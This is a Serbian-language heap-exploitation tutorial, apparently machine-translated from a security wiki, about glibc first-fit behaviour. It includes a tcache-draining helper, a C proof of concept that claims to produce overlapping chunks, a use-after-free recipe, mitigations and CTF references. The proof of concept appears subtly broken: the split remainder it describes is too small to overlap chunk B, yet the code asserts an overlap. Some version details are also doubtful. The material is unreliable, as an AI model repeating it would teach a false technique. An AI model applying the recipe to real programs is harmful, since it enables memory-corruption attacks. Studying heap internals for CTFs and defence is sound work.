First Fit

Reading time: 7 minutes

First Fit

Kada oslobodite memoriju u programu koristeći glibc, različiti "bins" se koriste za upravljanje delovima memorije. Evo pojednostavljenog objašnjenja dva uobičajena scenarija: neusortirani bins i fastbins.

Neusortirani Bins

Kada oslobodite deo memorije koji nije brzi deo, on ide u neusortirani bin. Ovaj bin deluje kao lista gde se novi oslobođeni delovi dodaju na početak (na "glavu"). Kada zatražite novi deo memorije, alokator gleda neusortirani bin od pozadi (na "rep") da pronađe deo koji je dovoljno velik. Ako je deo iz neusortiranog bina veći od onoga što vam treba, on se deli, pri čemu se prednji deo vraća, a preostali deo ostaje u binu.

Primer:

• Alocirate 300 bajtova (a), zatim 250 bajtova (b), zatim oslobodite a i ponovo zatražite 250 bajtova (c).
• Kada oslobodite a, on ide u neusortirani bin.
• Ako zatim ponovo zatražite 250 bajtova, alokator pronalazi a na repu i deli ga, vraćajući deo koji odgovara vašem zahtevu i zadržavajući ostatak u binu.
• c će pokazivati na prethodni a i biće ispunjen sadržajem a.

char *a = malloc(300);
char *b = malloc(250);
free(a);
char *c = malloc(250);

Fastbins

Fastbins se koriste za male delove memorije. Za razliku od nesortiranih binova, fastbins dodaju nove delove na početak, stvarajući ponašanje poslednji ulaz-prvi izlaz (LIFO). Ako zatražite mali deo memorije, alokator će uzeti iz vrha fastbina.

Example:

char *a = malloc(20);
char *b = malloc(20);
char *c = malloc(20);
char *d = malloc(20);
free(a);
free(b);
free(c);
free(d);
a = malloc(20);   // d
b = malloc(20);   // c
c = malloc(20);   // b
d = malloc(20);   // a

🔥 Savremena glibc razmatranja (tcache ≥ 2.26)

Od glibc 2.26 svaki nit čuva svoj vlastiti tcache koji se pretražuje pre nesortiranog bin-a. Stoga će se scenarij prvog pogodka dostići samo ako:

1. Tražena veličina je veća od tcache_max (0x420 na 64-bitnom sistemu po defaultu), ili
2. Odgovarajući tcache bin je već pun ili ručno ispraznjen (alokacijom 7 elemenata i njihovim zadržavanjem u upotrebi).

U pravim eksploatacijama obično ćete dodati pomoćnu rutinu kao što je:

// Drain the tcache for a given size
for(int i = 0; i < 7; i++) pool[i] = malloc(0x100);
for(int i = 0; i < 7; i++) free(pool[i]);

Jednom kada je tcache iscrpljen, naredni oslobađanja idu u nesortiranu kantu i klasično ponašanje prvog odgovora (pretraga od repa, umetanje na glavu) može ponovo biti aktivirano.

🚩 Kreiranje UAF-a sa preklapajućim delovima koristeći prvi odgovor

Fragment ispod (testiran na glibc 2.38) pokazuje kako se razdavač u nesortiranoj kanti može zloupotrebiti da se kreiraju 2 preklapajuće pokazivače – moćna primitiva koja pretvara jedno oslobađanje u pisanje nakon oslobađanja.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(){
setbuf(stdout, NULL);

/* 1. prepare 2 adjacent chunks and free the first one */
char *A = malloc(0x420);   // big enough to bypass tcache
char *B = malloc(0x420);
strcpy(A, "AAAA\n");
free(A);                   // A → unsorted

/* 2. request a *smaller* size to force a split of A */
char *C = malloc(0x400);   // returns lower half of former A

/* 3. The remainder of A is still in the unsorted bin.
Another 0x400-byte malloc will now return the *same*
region pointed to by B – creating a UAF/overlap. */
char *C2 = malloc(0x400);

printf("B  = %p\nC2 = %p (overlaps B)\n", B, C2);

// Arbitrary write in B is immediately visible via C2
memset(B, 'X', 0x10);
fwrite(C2, 1, 0x10, stdout);  // prints Xs
}

Exploitation recipe (common in recent CTFs):

1. Isprazite tcache za ciljani veličinu.
2. Oslobodite deo tako da završi u nesortiranoj kanti.
3. Alocirajte malo manju veličinu – alokator deli nesortirani deo.
4. Alocirajte ponovo – preostali deo se preklapa sa postojećim korišćenim delom → UAF.
5. Prepišite osetljive polja (pokazivače na funkcije, FILE vtable, itd.)

Praktična primena može se naći u 2024 HITCON Quals Setjmp izazovu gde se ova tačno primitivna tehnika koristi za prebacivanje sa UAF na potpunu kontrolu nad __free_hook.

🛡️ Mite i Ojačavanje

• Sigurno povezivanje (glibc ≥ 2.32) štiti samo jednostruko povezane tcache/fastbin liste. Nesortirane/male/velike kante i dalje čuvaju sirove pokazivače, tako da preklapanja zasnovana na prvom odgovarajućem ostaju moguća ako možete dobiti heap leak.
• Enkripcija pokazivača na heap i MTE (ARM64) još uvek ne utiču na x86-64 glibc, ali oznake za ojačavanje distribucije kao što su GLIBC_TUNABLES=glibc.malloc.check=3 će prekinuti rad na nekonzistentnim metapodacima i mogu prekinuti naivne PoC-ove.
• Popunjavanje tcache prilikom oslobađanja (predloženo 2024. za glibc 2.41) dodatno bi smanjilo korišćenje nesortiranih; pratite buduće verzije prilikom razvijanja generičkih eksploata.

Ostale Reference i Primeri

• https://heap-exploitation.dhavalkapil.com/attacks/first_fit
• https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/
• ARM64. Use after free: Generišite korisnički objekat, oslobodite ga, generišite objekat koji dobija oslobođeni deo i omogućite pisanje u njega, prepisujući poziciju user->password iz prethodnog. Ponovo upotrebite korisnika da obiđete proveru lozinke
• https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example
• Program omogućava kreiranje beleški. Beleška će imati informacije o belešci u malloc(8) (sa pokazivačem na funkciju koja bi mogla biti pozvana) i pokazivač na drugi malloc() sa sadržajem beleške.
• Napad bi bio da se kreiraju 2 beleške (note0 i note1) sa većim malloc sadržajem od veličine informacija o belešci i zatim ih osloboditi kako bi završile u fast bin (ili tcache).
• Zatim, kreirajte još jednu belešku (note2) sa veličinom sadržaja 8. Sadržaj će biti u note1 jer će se deo ponovo koristiti, gde bismo mogli modifikovati pokazivač na funkciju da pokazuje na win funkciju i zatim Use-After-Free note1 da pozove novi pokazivač na funkciju.
• https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html
• Moguće je alocirati neku memoriju, napisati željenu vrednost, osloboditi je, ponovo alocirati i pošto su prethodni podaci još uvek tu, biće tretirani prema novoj očekivanoj strukturi u delu, što omogućava postavljanje vrednosti za dobijanje zastavice.
• https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html
• U ovom slučaju potrebno je napisati 4 unutar specifičnog dela koji je prvi koji se alocira (čak i nakon prisilnog oslobađanja svih njih). Na svakom novom alociranom delu njegovo broj u indeksu niza se čuva. Zatim, alocirajte 4 dela (+ inicijalno alocirani), poslednji će imati 4 unutar njega, oslobodite ih i prisilite ponovnu alokaciju prvog, koji će koristiti poslednji oslobođeni deo koji je onaj sa 4 unutar njega.
• 2024 HITCON Quals Setjmp write-up (Quarkslab) – praktičan first-fit / nesortirano-preklapanje napad: https://ctftime.org/writeup/39355
• Angstrom CTF 2024 heapify write-up – zloupotreba nesortiranog deljenja za curenje libc i dobijanje preklapanja: https://hackmd.io/@aneii11/H1S2snV40